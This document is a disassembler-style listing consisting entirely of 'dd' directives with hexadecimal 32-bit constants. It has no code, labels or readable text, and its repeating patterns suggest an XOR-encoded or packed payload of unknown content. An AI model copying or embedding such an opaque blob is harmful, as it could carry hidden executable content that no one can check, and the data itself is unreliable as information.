		dd 74034D0Ch, 0E78A57B3h, 9C076678h, 0A6E8D3B7h, 19E61E34h
		dd 1A668832h, 156642B9h, 15E62D32h, 0E9661132h,	265F0DF4h
		dd 0FC32429Eh, 15662238h, 27DCE9DAh, 0DF023A23h, 7D9EC752h
		dd 0FB044A1Bh, 1E8F4152h, 6F668832h, 605C2F8Bh,	0A47F5C73h
		dd 943C15DFh, 0E419EFD8h, 0A099250Ch, 13CA30B3h, 1A8EE952h
		dd 65668832h, 749DF2EBh, 0F33BA20Ah, 9CB87646h,	0CBE77CB7h
		dd 209C6241h, 90EB436Bh, 13CA2BCDh, 0FD367052h,	15664420h
		dd 0A989F473h, 0E8994211h, 0CA89876Bh, 42AF07h,	4C38E244h
		dd 0C599E953h, 0F7E7EE52h, 0E9069034h, 74A49D3Dh, 0E0E39853h
		dd 1A603BBCh, 156645B2h, 0D39AD732h, 0B95528B7h, 198FCD34h
		dd 0C3664432h, 0D967F837h, 69E350B8h, 7D7FE13Bh, 0CF067CF0h
		dd 0A099DACAh, 13CA03B3h, 15669BDBh, 3C391532h,	8B3AEBDDh
		dd 30F2B9CBh, 0B05D10CEh, 535E259h, 2F99A7BFh, 7593179Eh
		dd 91553054h, 1AB6BB53h, 156634B7h, 1577F832h, 0E97C8832h
		dd 7A84B835h, 0C8D3DDE9h, 0ADD278E8h, 9CCA12FDh, 0A6E8BDB7h
		dd 0A8E5DB34h, 13CA1053h, 16E38732h, 0FC664433h, 1566223Ah
		dd 1486FE38h, 359CE6A8h, 265FC1F4h, 1A23249Eh, 15661DB6h
		dd 13E88732h, 1A664432h, 156622B7h, 6BE07932h, 0A4067212h
		dd 74A5CF1Fh, 2DD94452h, 0C0869026h, 74452725h,	7E7F1CDh
		dd 138F249Eh, 7661132h,	0A4D1B3E0h, 18E64B71h, 75662232h
		dd 18DFFAB3h, 0EDCA6CFh, 747E548Dh, 2F99A7BFh, 0E09F179Eh
		dd 9C9A58CDh, 0A6E8B9B7h, 90A0D734h, 13CA220Bh,	1DE1877Eh
		dd 1A664432h, 156620B0h, 7D077132h, 0F54058F1h,	15664EDBh
		dd 0B0624232h, 1638EEECh, 0EA536C9Bh, 0B974C587h, 94004234h
		dd 442B5EF0h, 74397C87h, 2F99C1BFh, 108F249Eh, 0E9661132h
		dd 0C9AC1037h, 18F94CDh, 0CE662232h, 4D39AB5Dh,	6F09931Fh
		dd 0BF080E4Ah, 0E65E581Dh, 1A63568Eh, 156684B3h, 13E84B32h
		dd 1A662232h, 156611B3h, 14E30132h, 0FC60F7BDh,	15662235h
		dd 0ADD1ED18h, 0ECF7E2CAh, 1566AEDBh, 90A0DA32h, 13CA220Bh
		dd 180E7060h, 0FCDA0ED6h, 1566223Dh, 801A8000h,	578EF71Dh
		dd 0FE00DC13h, 0EA1F27CDh, 0B974C887h, 14EC8734h, 0E0664432h
		dd 2F99A7BFh, 9469179Eh, 15668833h, 0FCB6BBCAh,	15662234h
		dd 0F9815A92h, 90EF0C16h, 13D5CACFh, 156625DBh,	0EE93AC32h
		dd 0F7559B4Ch, 265FC1F4h, 0FC34249Eh, 1566113Ch, 0C832E188h
		dd 20577491h, 6FF74A9Fh, 5D0E6138h, 75C0C478h, 1702158Bh
		dd 74064202h, 0A0997053h, 13CA9AEBh, 0EAE3C9C7h, 75608E08h
		dd 9F0FD5B2h, 1D8FE9C3h, 0D7664432h, 1E9D727Ah,	0EAC060F9h
		dd 0F6E6E8E2h, 74A8CF28h, 15662FDBh, 57F36032h,	40767B7Eh
		dd 0E5E63141h, 90EFD3D3h, 13D59E33h, 16EE8752h,	1A664432h
		dd 48EE485h, 0D5661132h, 320CB67Ah, 0AD72732Dh,	0EB6AFA1Dh
		dd 0FAC2353Eh, 0D307D7CEh, 0B9557DB7h, 9E067034h, 0CFE777CCh
		dd 0ED0784F8h, 57D2AE5Ah, 1DEB2DCFh, 75661132h,	73AC3F3Dh
		dd 0EA078CB9h, 0B974A387h, 0FEC1E34h, 1A668832h, 156650BEh
		dd 1569CB32h, 0E27E1132h, 1BF66FFh, 1D327A18h, 0F2982BD9h
		dd 0EAE39C9Bh, 0E9602408h, 730694CDh, 9C07FCB9h, 0B942DCB7h
		dd 0E1D8E834h, 74609B3Fh, 265FA7F4h, 0FC11179Eh, 15668837h
		dd 84D685EEh, 0BDC54A60h, 48FE2A5h, 64668832h, 2F299253h
		dd 6E9444F3h, 75FFEC8Dh, 0D86984Ah, 211FF1CDh, 989E249Eh
		dd 0B95CEEB7h, 48FE834h, 52664432h, 8FAF1787h, 3CDE2F14h
		dd 5423F7B0h, 0DF4A1B1Ch, 156FCB52h, 7D041132h,	0CF608A4Eh
		dd 74275CF6h, 1AB6DD53h, 156605B5h, 1BEE8732h, 0FC664432h
		dd 1566223Bh, 0E907C662h, 1319A586h, 0C4E3CD4Fh, 75608E32h
		dd 0DDE7752h, 15E38797h, 74664432h, 15662CDBh, 3A91FB32h
		dd 0D40F89F3h, 768C8989h, 7485BBCCh, 265F94F4h,	0E0348E9Eh
		dd 24712CC7h, 9F69A8EFh, 1566113Ah, 15640D3Dh, 74064432h
		dd 7E797CDh, 9769179Eh,	1566883Ah, 1564C43Dh, 74062232h
		dd 2F9994BFh, 9C698E9Eh, 15664433h, 1AB6DDCEh, 156616B6h
		dd 14E88732h, 0E0664432h, 174FA7BBh, 0D39A179Eh, 0B955B1B7h
		dd 7D931234h, 0C1794F0Bh, 0F2E77752h, 0EA07F62Fh, 0B9474987h
		dd 14EA2D34h, 0E0661132h, 7C4F0DBFh, 1A8F429Dh,	68662232h
		dd 5BDFE616h, 2DFC4B21h, 0C534121h, 0C59955CCh,	7493E452h
		dd 15930DBBh, 0D393429Eh, 0B9551BB7h, 1A065634h, 156689BFh
		dd 7D07BC32h, 94BA3248h, 156617DBh, 0AEDAAF32h,	0EA4FBF0Ch
		dd 0B974A387h, 73067134h, 7565828Ch, 0A2692553h, 90EB43EAh
		dd 13CA2BCDh, 1AB677CAh, 156645B8h, 90EFDB32h, 13CA1B8Fh
		dd 1567053Dh, 0D39A4432h, 0B9551BB7h, 75065634h, 0EA60A8Dh
		dd 156AAD38h, 87F82232h, 0D334041Ah, 15006752h,	0A5076E5Ah
		dd 0F70E4392h, 1AEC1E87h, 156689B5h, 0A099BC32h, 13CA30B3h
		dd 156F913Dh
		dd 1A068832h, 0AC00B785h, 98071582h, 0B95CEEB7h, 14EF8734h
		dd 0E0664432h, 0ED06F2CDh, 8CB7AE54h, 9FDEE853h, 0FC410A03h
		dd 1566223Bh, 4C5FEA9Ch, 60845A31h, 90EF25CBh, 13D5AD13h
		dd 1569F8CBh, 0F5EE8832h, 0B1FF3D52h, 1221BC30h, 73E08973h
		dd 0C4E34F0Bh, 6D60E82Eh, 0FC662232h, 15661134h, 87C953CDh
		dd 0A8E50F5Dh, 13CA122Fh, 27E21E32h, 1A66882Ah,	15664CBEh
		dd 17E92D32h, 75661132h, 2CE34E53h, 5960E801h, 15662EDBh
		dd 0F76F8632h, 3DC3EE08h, 7655664Ch, 98F4A23h, 1B8FC8E8h
		dd 1A668832h, 25D36BDh,	4973885Eh, 27B20718h, 94D37789h
		dd 0FC60E820h, 15662223h, 0EEB57108h, 0B727F99Eh, 0ADE564E9h
		dd 496D8C06h, 0EAE39CF2h, 0FC602408h, 15664437h, 0FEC49386h
		dd 75B6EE69h, 98653354h, 74A1FB3Dh, 9A6BA7BBh, 1F8F1781h
		dd 8D668832h, 9DC97558h, 4B7FF7BDh, 2CE3D747h, 59602401h
		dd 0C4EDBD52h, 0CBA84A53h, 9406CC46h, 7FAE4BDDh, 1576AD2Fh
		dd 38632232h, 94E2CB74h, 93145852h, 3C877CCAh, 0EA07E4FBh
		dd 0B9749087h, 15606134h, 0F364432h, 0C5B4DBAAh, 2F9994BFh
		dd 46068E9Eh, 4A95FB3Dh, 74B6A954h, 0FC06C1CDh,	1566883Bh
		dd 86B6A34Dh, 0DDC71281h, 1568F8AAh, 0FF818832h, 16844C07h
		dd 974D7A3Fh, 69909A4Bh, 4E30153h, 0E960F7BDh, 265FA7F4h
		dd 1A2A179Eh, 15669DBDh, 1576AD32h, 0D4482232h,	9BFCB0A0h
		dd 0DBF494F7h, 0CD26DA17h, 188FFBE5h, 54661132h, 0EF2E9409h
		dd 0B6E46148h, 8084905Dh, 94E42E5Ah, 0A0997185h, 13CA56B3h
		dd 1560A73Dh, 0A7061132h, 7407E84Ah, 156643DBh,	0CF1B9A32h
		dd 0CE9E7E3Bh, 2F990DBFh, 9969429Eh, 15662233h,	0FCB6EEC7h
		dd 15668839h, 4172D791h, 49E343ACh, 9CEF2648h, 0A6E99DB7h
		dd 1A372434h, 156622B7h, 9F694E32h, 1566882Bh, 156657DAh
		dd 43944132h, 7DBCC3F9h, 358EE536h, 95CCAD64h, 9999BEEDh
		dd 96697069h, 15668823h, 156648DBh, 5CCFFC32h, 75640F47h
		dd 5A70AF79h, 2CE38248h, 59608E01h, 1567953Dh, 7D9E8832h
		dd 0A649042Ah, 156629DBh, 1AC60432h, 0F641067Eh, 3BF2BFA9h
		dd 7E797CDh, 9169179Eh,	15668823h, 156DC33Dh, 138F2232h
		dd 10661132h, 9073E539h, 0EAE3C9FAh, 0EC608E08h, 156603DBh
		dd 0C1CCE32h, 6EC52A47h, 0ED55531Ch, 0B569D5EDh, 0EAA5D14Bh
		dd 2EF4BE2h, 0FC662232h, 15661120h, 9ECF0836h, 5A455C74h
		dd 0A9194113h, 0B31206E1h, 90EFEF64h, 13D5CB27h, 2CE3E4CAh
		dd 5360BD01h, 1372E0CBh, 0FC06FEECh, 15662234h,	100B2A92h
		dd 68F7DDDh, 13664432h,	7185007Ch, 8CF36F97h, 7157D97Ah
		dd 4E458071h, 0EA073E60h, 0B9749087h, 15696134h, 9DBF4432h
		dd 0DB1F3DBBh, 0CACCEFB0h, 2F378BB4h, 0EAE3C9C1h, 0FC608E08h
		dd 15661135h, 541AF560h, 0EA771DB5h, 90EFD7E2h,	13D59E2Fh
		dd 156D043Dh, 138F4432h, 0DC662232h, 2D351F2Ch,	2CE34E80h
		dd 5260E801h, 156ACB52h, 98F01132h, 0A909454Ch,	0BF9D4591h
		dd 9400D618h, 74E693D2h, 0C976F25Ah, 1EE14BB3h,	75662232h
		dd 1ABF9A54h, 156688BBh, 0A0992532h, 13CA30B3h,	15679E3Dh
		dd 98938832h, 0B95CBBB7h, 0C599DE34h, 15769B3Dh, 1E8F8832h
		dd 42664432h, 5F7525CBh, 4501B785h, 90EF6612h, 13D5CB17h
		dd 156CAA3Dh, 94061132h, 16D7B9DBh, 74A0CF6Ah, 1AB8A952h
		dd 0D307D38Dh, 0B955B1B7h, 97690334h, 1566223Ah, 94B8A952h
		dd 749FAB28h, 92E8E85Ah, 108E42DDh, 43661132h, 0B2A03B3Bh
		dd 4BB8F33Dh, 1562AA3Dh, 0AE001132h, 0EA0738CCh, 0B974C587h
		dd 1560CB34h, 8BA41132h, 0AFA264B5h, 2F99C1BFh,	9269249Eh
		dd 15661133h, 1AB677CEh, 156649B6h, 156ECB32h, 19AA1132h
		dd 0D19A1980h, 90EF04F8h, 13D5AD1Bh, 15661BDBh,	3A5FC132h
		dd 0C0E3A4A1h, 0D3619215h, 0B95528B7h, 9769CF34h, 1566443Ah
		dd 1564A53Dh, 74061132h, 15620E3Dh, 0A0064432h,	0C70E43B5h
		dd 1AB28B95h, 156680BCh, 17E84B32h, 75662232h, 94D3EE53h
		dd 0EC602420h, 0EAE3C9C7h, 1A608E08h, 156610B1h, 0C5997032h
		dd 13E94B52h, 1A662232h, 156611BDh, 0AE00E832h,	0C7E6A5B9h
		dd 9C07437Ah, 0A6E93CB7h, 0B0DDE834h, 75422E85h, 15662ADAh
		dd 0BE6FEF32h, 0B2729CE1h, 4B361EF4h, 90A04353h, 13CA220Bh
		dd 110E7175h, 75DC850Bh, 0FFE74452h, 9D69A7D5h,	15668832h
		dd 13E04B53h, 1A662232h, 156611BAh, 0A099E932h,	13CA56B3h
		dd 108F4252h, 6D661132h, 0C5638CF2h, 74078FB9h,	2F99A7BFh
		dd 0EA9A179Eh, 90EF74E2h, 13D5CB03h, 48DBA1CAh,	1560BD17h
		dd 158A0D3Dh, 48F4432h,	0AF662232h, 0B56777ECh,	4FFEFD49h
		dd 69A15BC5h, 0A04162C1h, 265F94F4h, 0FC218E9Eh, 15664439h
		dd 209F37FBh, 6E2CD57h,	7D049CE3h, 0F5146955h, 5794A352h
		dd 1A04A213h, 15668DBAh, 182FFB32h, 0EA071FBEh,	0B9749087h
		dd 0C1ECE834h, 15664EDAh, 3E10EC32h, 75BDF3C2h,	73904998h
		dd 6D5393B3h, 90EB436Bh, 13CA2BCDh, 15669ADBh, 70D5532h
		dd 5F080856h, 48ADD636h, 0B731E1FDh, 1A56A553h,	156639B8h
		dd 4E357132h, 15669ADBh, 48649932h, 6FD7FE52h, 0ABC3B518h
		dd 0D3DAEC3Eh, 74BDB488h, 1A8FF2CDh, 62661132h,	0D3F0E68Ch
		dd 7AA06F5Eh, 30D7E38Dh, 198F41C5h, 36668832h, 70A1CA1Eh
		dd 0D1484664h, 9C43A81Eh, 0A6E9BDB7h, 0E74B34h,	0FC662232h
		dd 15661122h, 9B1DCB1Bh, 0A72BEEE6h, 6169FABAh,	52AFA9ECh
		dd 90A0E952h, 13CA770Bh, 1560CB75h, 9E281132h, 1EE529BFh
		dd 3CD5F55Ah, 1568CBBCh, 80141132h, 56D059F7h, 313E042Ch
		dd 5B4B3F52h, 94D3EEC7h, 75602420h, 156649DBh, 263B0532h
		dd 0F1D65F36h, 8999A4B0h, 1A36562Dh, 743DEA85h,	157F983Dh
		dd 18F8832h, 78664432h,	24879243h, 5CC81326h, 0CD2B40EEh
		dd 10E3D428h, 987A6985h, 0B95CEEB7h, 15636134h,	0E5254432h
		dd 1A3B0AD8h, 156610BFh, 0C5997D32h, 156ACF3Dh,	9D692232h
		dd 15661134h, 1566003Dh, 90EF4432h, 13D5AD0Bh, 156DF852h
		dd 61478832h, 0C5EBEC6Ah, 658DE38Bh, 1574F8C2h,	76608832h
		dd 0FB75AF88h, 2DE8F575h, 8797EC15h, 0CB6CD883h, 0A59A2453h
		dd 90A04382h, 13CA220Bh, 156E6171h, 1CCA4432h, 78E4D0Bh
		dd 0B20ECD61h, 1AA6FE78h, 156648B0h, 13EE2D32h,	1A661132h
		dd 156688B3h, 94D3BB32h, 0E9608E20h, 2F9994BFh,	0EA938E9Eh
		dd 156AADE2h, 0E2732232h, 0AE77DCF2h, 58C035CFh, 90EF6C44h
		dd 13D5AD0Fh, 2CE3D7CBh, 59602401h, 156650DBh, 20625232h
		dd 0C93102B0h, 45C8232Ch, 0D92D4353h, 109AC2E6h, 0FE0EEDAAh
		dd 759DEE5Eh, 74B3CECEh, 211F97CDh, 989E179Eh, 0B95C77B7h
		dd 0EA93BD34h, 1575CBE2h, 53F11132h, 4BF2235Eh,	0D2C23838h
		dd 8A1AB119h, 3B3B6931h, 0C4E301D1h, 1A60F7BDh,	15662EBCh
		dd 1561F832h, 1D478832h, 0ECD0D39Ch, 2CE3E4E2h,	5160BD01h
		dd 156680DBh, 0DDF85932h, 0FA1088FDh, 940071EEh, 0A28DD5DDh
		dd 400E252Ch, 0FCDD51BCh, 15661139h, 3E0F5343h,	82AA981Fh
		dd 0EA459166h, 0B9749087h, 7334E834h, 14A7A6B3h, 0E2E7446Ch
		dd 9807BB64h, 0B95C77B7h, 0C599BD34h, 156628DBh, 0F4A1DB32h
		dd 0C6E9DE2Ch, 9C89494Ah, 0A6E963B7h, 0AA007134h, 0C4ED560Eh
		dd 2CE38253h, 56608E01h, 0F2E8A952h, 7D07B498h,	0A9E82ACEh
		dd 94D3DDCEh, 1A60BD20h
		dd 156684B5h, 9D692432h, 15662232h, 0C867AE54h,	0EAE30553h
		dd 0FC60E808h, 15662238h, 0A9D6E7D5h, 0F3F26A0h, 0C59901D5h
		dd 156628DBh, 0A554A232h, 4692610Ah, 9CF57F4Ch,	0A6E967B7h
		dd 90A0E434h, 13CABB0Bh, 0BF0EB861h, 1AA0320Ch,	15661DBEh
		dd 15616132h, 791B4432h, 56CC087Ah, 94D3EE40h, 0FC602420h
		dd 1566443Fh, 1B51EBFAh, 454B4658h, 0F10A5164h,	0EAE3C9FCh
		dd 1A608E08h, 15661DB1h, 15616132h, 433E4432h, 27B88C23h
		dd 0FCB6EEFFh, 15668837h, 5F4700C1h, 90EFDBDFh,	13D59E7Bh
		dd 15668FDBh, 0AD924432h, 28DCA7BDh, 30B7ACB1h,	1A668E9Eh
		dd 15651DB6h, 0BEF2D32h, 1A661132h, 156690BDh, 1575AD32h
		dd 99FA2232h, 0F2AD701Eh, 5135D25Eh, 0E0975233h, 3BAFE395h
		dd 2CE3D7A5h, 53602401h, 0DB572CCEh, 0EA9ED8A4h, 0B9749087h
		dd 12E18734h, 1A664432h, 156623B3h, 90EBE932h, 13CAB2CDh
		dd 0F0DD2252h, 0CAED424Dh, 74074E65h, 9A6958CDh, 15664439h
		dd 3DDD4452h, 535CABBEh, 9C079C7Fh, 0A6E9E1B7h,	90A0DE34h
		dd 13CA220Bh, 0FE18774h, 75664432h, 156632DBh, 0BA1B8632h
		dd 9584D7F6h, 81DB8FD5h, 0DD0ADF0Ah, 0ABBD914Fh, 15606153h
		dd 0FC9C4432h, 9483D394h, 0B25CC75Ah, 1B8FE8CEh, 7B664432h
		dd 43F5E7ADh, 8DF3F698h, 0BA01F348h, 156CADDCh,	0D31C2232h
		dd 71127CEAh, 1788DC56h, 94D3BB53h, 0FC608E20h,	15661138h
		dd 673D8B02h, 3210961Dh, 90EB15E9h, 13CA2BCDh, 15610F3Dh
		dd 90694432h, 15662233h, 1AB6EECEh, 156680B0h, 17EC4B32h
		dd 75662232h, 0A0E39853h, 1A603BBDh, 156645BCh,	90A0DE32h
		dd 13CA220Bh, 14EA8774h, 0E9664432h, 0E9C2225Ah, 0A099E8A0h
		dd 13CA9AB3h, 15664FDBh, 4FBA5132h, 14C6D691h, 0F6C5DE68h
		dd 2F99C1BFh, 1A06249Eh, 156613BAh, 1A07E832h, 0EA07BF8Dh
		dd 1E8F42E2h, 9D661132h, 0D8D6E5CEh, 0BF414BB3h, 0FDEC5DACh
		dd 0ACE39853h, 0ED603BBDh, 265FC1F4h, 7520249Eh, 74B99A54h
		dd 0C129E25Ah, 18E24C4h, 0BD662232h, 0E4741738h, 0D9A6788Bh
		dd 81D76A89h, 22C1D96Eh, 7396731Eh, 4FFA568Dh, 94D3BB53h
		dd 0FC608E20h, 15661126h, 0BBE303F4h, 2F380078h, 76D208D8h
		dd 0CA62B352h, 0BD3FEC2h, 2F99C1BFh, 188F249Eh,	0C3661132h
		dd 0F65B3AF2h, 0F5A1275Bh, 7DD5899Bh, 9C93C1CDh, 0A6E935B7h
		dd 0AED4B34h, 1A662232h, 156608B8h, 15726132h, 59A44432h
		dd 7CBEE041h, 0E0AF57A8h, 0FB703C5Dh, 47B0BE9Eh, 18FEA7Bh
		dd 0D1661132h, 0C2AE7EFDh, 74AD5F7Bh, 8966381Ah, 8BFD097Ch
		dd 0D353504Ch, 0B9557DB7h, 7D936434h, 81AB41D5h, 94D377C7h
		dd 1A60E820h, 156628BDh, 94007132h, 1A2AF2E4h, 9807928Dh
		dd 0B95CDDB7h, 1561F834h, 0C8658832h, 1579DE3Ah, 0FCB6DD19h
		dd 15661122h, 0D7FCE57Ch, 0F1278Bh, 2A67DD35h, 6A730E27h
		dd 9ACF0DBBh, 0D39F4281h, 0B9551BB7h, 1A9A5734h, 156683B6h
		dd 90692432h, 15662232h, 7495A63Dh, 3712B35Ah, 156BAD83h
		dd 7CB42232h, 0B6AD1C4Eh, 3D3487B4h, 0EAF1C8E7h, 0B974A387h
		dd 90EBE934h, 13CAB2CDh, 0E0B6BBCAh, 9ACBA7BBh,	73061781h
		dd 0A8E26AB3h, 1572AD60h, 7C632232h, 6125C59Fh,	0CD00FFD0h
		dd 838D0B3Fh, 0E2C0E54Bh, 743ECEA9h, 265F0DF4h,	0FC20429Eh
		dd 1566223Bh, 7F43836Fh, 0C249350Eh, 0FF8B2C14h, 0FC06FD4Bh
		dd 15661122h, 0D7AF0571h, 0E5D26574h, 76E872C7h, 2CBA79F0h
		dd 8018CF8Ch, 0A0992570h, 13CA30B3h, 13EF1E52h,	1A668832h
		dd 156644BDh, 0C5ED4232h, 74077052h, 2F990DBFh,	9469429Eh
		dd 15662237h, 4E36ED52h, 0EDB67753h, 0A4E3CDC7h, 756091BDh
		dd 37D977C7h, 1E8FE9F2h, 11664432h, 34E25841h, 0E8F76438h
		dd 0A8E50D39h, 13CA616Fh, 0BDE32D32h, 0FC661132h, 1566883Dh
		dd 5E0AA237h, 0A735AA81h, 86F3C96Ch, 0D38C8D14h, 0B9557DB7h
		dd 108F7134h, 1A661132h, 0A8D86C6Eh, 0AB861A5Ah, 3E22DFCh
		dd 0FC661132h, 15668823h, 0E5AD38CDh, 4256FB70h, 49799701h
		dd 844F11A6h, 94D3BB7Bh, 1A608E20h, 156602B6h, 1D8EE832h
		dd 0F4664432h, 823B150h, 4CA89692h, 74C77DB2h, 2F99C1BFh
		dd 9369249Eh, 1566112Ah, 15669BDBh, 7D807D32h, 0EBF50FB2h
		dd 0E1CD9D7Bh, 6221C697h, 0CF3A2187h, 1E8FF2CDh, 0AF661132h
		dd 139CF432h, 803C42B0h, 90EF23AFh, 13D59E7Fh, 15670A3Dh
		dd 0D3934432h, 0B9551BB7h, 48F5634h, 0AC668832h, 0F44DC9F7h
		dd 0AEAD47E8h, 0C35D426Dh, 93E9EB03h, 0A438C35Ah, 12EF2DF5h
		dd 75661132h, 9EF56CB2h, 0A09925C2h, 13CA30B3h,	157F913Dh
		dd 18F8832h, 18664432h,	4A82CEh, 61D5E67Ch, 0E1EDCF20h
		dd 0D21D5EF7h, 98EB263Ah, 0B95CEEB7h, 0D9E6E834h, 5ADC22C8h
		dd 0C599431Dh, 0D7ED7752h, 44E30153h, 0FC60F7BDh, 15662237h
		dd 0AB5F9707h, 48DB0B8Ah, 1560E817h, 15FFA73Dh,	0D39F1132h
		dd 0B955B1B7h, 188F0334h, 16662232h, 0E6767051h, 90BA7C26h
		dd 69D5BBDBh, 1567AB3Dh, 7D9E1132h, 0F304F637h,	1574C43Dh
		dd 188F2232h, 9661132h,	0F6B6DF25h, 0DB89060h, 0E7F25D79h
		dd 7E7A4CDh, 9F068E9Eh,	0B5A0C4FEh, 0EAE3AF53h,	1A60BD08h
		dd 156684B0h, 13EE4B32h, 1A662232h, 156611BBh, 14EF8732h
		dd 0ED664432h, 9C93F2CDh, 0A6E944B7h, 0FC067D34h, 1566443Ch
		dd 53253CB6h, 1AA11932h, 0AC455BFh, 1E8FD8EAh, 0D3662232h
		dd 4052E4DEh, 1CE7371Dh, 0D3077696h, 0B9551BB7h, 78F5234h
		dd 9D668832h, 0BACFF8CFh, 1CCED642h, 863D931Fh,	41FA8E5Eh
		dd 0DDED2454h, 1577A73Dh, 198F1132h, 6D668832h,	0C4AA7213h
		dd 0BEAC132Dh, 7463A968h, 6F6F7E5Ah, 9406B8A0h,	7E051EF8h
		dd 13E81E64h, 94668832h, 0E244ACE2h, 0A0994373h, 13CA03B3h
		dd 156686DBh, 4922C432h, 939109B9h, 0DDB7CED9h,	0FC50159Ah
		dd 15664435h, 20470BFBh, 982C70AFh, 0B95C77B7h,	94002434h
		dd 1AFD78FCh, 0EA07C885h, 156161E2h, 0A1734432h, 0F8E9B276h
		dd 4CE398F0h, 0EC603BBDh, 265FC1F4h, 7525249Eh,	1565973Dh
		dd 0AA698832h, 1B8F12F8h, 1E662232h, 81F21823h,	0ED54E3C3h
		dd 25683936h, 7D077A40h, 0E9478612h, 7406DE52h,	749BF469h
		dd 1575CA52h, 6FB91132h, 0CE4EF07Ah, 0BA4855E4h, 2FD0C49Dh
		dd 648BDDA0h, 15636002h, 0CF0E4432h, 4B15A8A4h,	0A0997068h
		dd 13CA9AB3h, 90EBB1CEh, 13CA18CDh, 0BAD97752h,	0EA9FE97Dh
		dd 90EFB1E2h, 13D5AD6Fh, 1569F8C7h, 76AB8832h, 46E56DF9h
		dd 6DD5996Dh, 0CDB8055Fh, 48DB0B27h, 1560E817h,	15D5A73Dh
		dd 0D39F1132h, 0B955B1B7h, 7D9A0734h, 9E668A31h, 0E2EC7152h
		dd 4507E952h, 4CA9F33Dh, 94D3DD53h, 1A60BD20h, 156689B8h
		dd 90EBB832h, 13CA18CDh, 0EDB6EEC7h, 9A030DBBh,	0D3934281h
		dd 0B9551BB7h, 97695234h, 15668833h, 0C00EB8CBh, 75837904h
		dd 1A07CBB9h, 156683BBh, 94692432h, 15662232h, 7495A63Dh
		dd 7E73DCDh, 78F429Eh, 0CF662232h, 5BFEA8BBh, 7737F3CEh
		dd 0B519D11h, 0EAEC689Eh, 0EAE39C98h, 1A602408h, 156648B2h
		dd 13EC2D32h, 1A661132h, 156688B2h, 0E0B6BB32h,	9A07A7BBh
		dd 95691781h, 1566883Eh, 156643DBh, 5D8EE732h, 4F9F41E4h
		dd 2CE34ECBh, 5660E801h, 15662BDBh, 25A4CA32h, 72533B54h
		dd 0F40E33CBh, 0FC8C8800h, 15661122h, 0D6B9C56Bh, 0C3DC474h
		dd 5347CA86h, 9A728DF4h
		dd 7E73DCDh, 0FC06429Eh, 15662226h, 0D2C46417h,	4FABA37Bh
		dd 426B1438h, 0FA91A54h, 0A65797CFh, 980756B9h,	0B95CBBB7h
		dd 0A49A4234h, 0C5997003h, 156F013Dh, 1A064432h, 156622B7h
		dd 9C07E432h, 0A6E9E1B7h, 1577AD34h, 0DFBD2232h, 50231A0Fh
		dd 0D8B343EDh, 8CC31566h, 0D362414Ah, 0B95528B7h, 138FCB34h
		dd 92664432h, 0FDC9336Bh, 0B9517960h, 188F0CC3h, 0BA664432h
		dd 457FCDCBh, 0CF393D50h, 0C26EF841h, 7E7F1CDh,	989F249Eh
		dd 0B95CEEB7h, 0AC34E834h, 40A438EBh, 0C5994369h, 68FED52h
		dd 17668832h, 3EAE5ED2h, 7B4131A0h, 933EA3CFh, 18815A14h
		dd 9C074CA6h, 0A6E94FB7h, 71DC7134h, 0A1589286h, 90A02512h
		dd 13CA110Bh, 68FE97Dh,	0C1668832h, 0C6815C08h,	19C95722h
		dd 0A4AF2BB5h, 0E5467A8Fh, 0C10EF773h, 0E0F117A2h, 7E7A4CDh
		dd 1A8F8E9Eh, 0FC664432h, 0CA43EB24h, 957DA159h, 0C0372C14h
		dd 90EBBE79h, 13CA18CDh, 0FCBCA052h, 15668838h,	0DBB3962Eh
		dd 0AF9D5354h, 0EA07E4E1h, 9E00E8E2h, 5E94BE8h,	0FC662232h
		dd 15661139h, 9E9B9925h, 0DC27B78h, 7469F413h, 9A1794BBh
		dd 1A068E81h, 156646B5h, 74387032h, 265F94F4h, 1A298E9Eh
		dd 156653B0h, 1574CB32h, 0E0391132h, 4BF32D97h,	0DBE76E6Bh
		dd 64DAC7A8h, 0A0BB4FC3h, 1B64E0CAh, 78FBD5Ch, 97662232h
		dd 2C209B29h, 50601FCCh, 6C900A20h, 2B722F55h, 94D3EEACh
		dd 75602420h, 98072E87h, 0B95CDDB7h, 94007134h,	46E04BC2h
		dd 0BB80C554h, 0EA077A29h, 0AC0071E2h, 0C0E69F84h, 90EF25B9h
		dd 13D5AD47h, 13E11E52h, 94668832h, 6F1B61D8h, 90A04357h
		dd 13CA220Bh, 0AD37E87Fh, 5FBD7D0Eh, 2DC0996Dh,	1A07188Ch
		dd 156691B3h, 1572AD32h, 16822232h, 650752DDh, 23FA00E4h
		dd 9C74CA23h, 935F5C53h, 5C0ECD07h, 0E0AEBF4Bh,	1568CE3Dh
		dd 1C8F2232h, 11661132h, 88C0858Bh, 0ECAE1CA6h,	7E797CDh
		dd 1F8F179Eh, 0AB668832h, 892D73EEh, 0FA4B4699h, 0EAE39C7Fh
		dd 0E9602408h, 0FC9394CDh, 1566223Ah, 84D41DFEh, 55AC4CCEh
		dd 9A1BC1BBh, 44062481h, 1566933Dh, 743F8832h, 265FC1F4h
		dd 1A2B249Eh, 156610B8h, 9C0E7D32h, 0EDBAB37Fh,	7E797CDh
		dd 1C8F179Eh, 0FB668832h, 552DAF80h, 9EACE3Dh, 2122AE52h
		dd 7493F800h, 2F99C1BFh, 1A8F249Eh, 8661132h, 0E0256B3Dh
		dd 59B7DF93h, 2B6E339Ah, 0C599D118h, 156685DBh,	0A1932832h
		dd 81498656h, 0BBF1950h, 90EFFD2Ch, 13D5CB4Bh, 1561A93Dh
		dd 73061132h, 58464FB3h, 2CE38253h, 40608E01h, 0C3D91E52h
		dd 74A0373Dh, 0E4B735Ah, 9E0042AEh, 0EAD877E4h,	0A099E916h
		dd 13CA56B3h, 156CA63Dh, 108F1132h, 0DA668832h,	0BA593F40h
		dd 2F99A7BFh, 0E906179Eh, 0FCB67753h, 1566443Eh, 0DB8CC469h
		dd 0C825DADFh, 0F382CCFAh, 9AE7C1BBh, 74062481h, 265F94F4h
		dd 1A258E9Eh, 15664ABAh, 0FEE74232h, 6F88D6CAh,	1566013Dh
		dd 7D074432h, 0C7B3D218h, 15661ADBh, 94356532h,	17EA2E67h
		dd 0F428B544h, 7E7A4CDh, 1A068E9Eh, 9C699285h, 15662223h
		dd 15661ADAh, 3FBCCC32h, 195B6h, 0F4315C65h, 989E706Bh
		dd 0B95C77B7h, 108F2434h, 56662232h, 686A7C92h,	0EA0776B8h
		dd 90EFBDE2h, 13D5ADB7h, 2CE3D7CEh, 47602401h, 2BB1C552h
		dd 7340DA68h, 9ADBDBB3h, 0A18CE053h, 7306B970h,	4506D3B9h
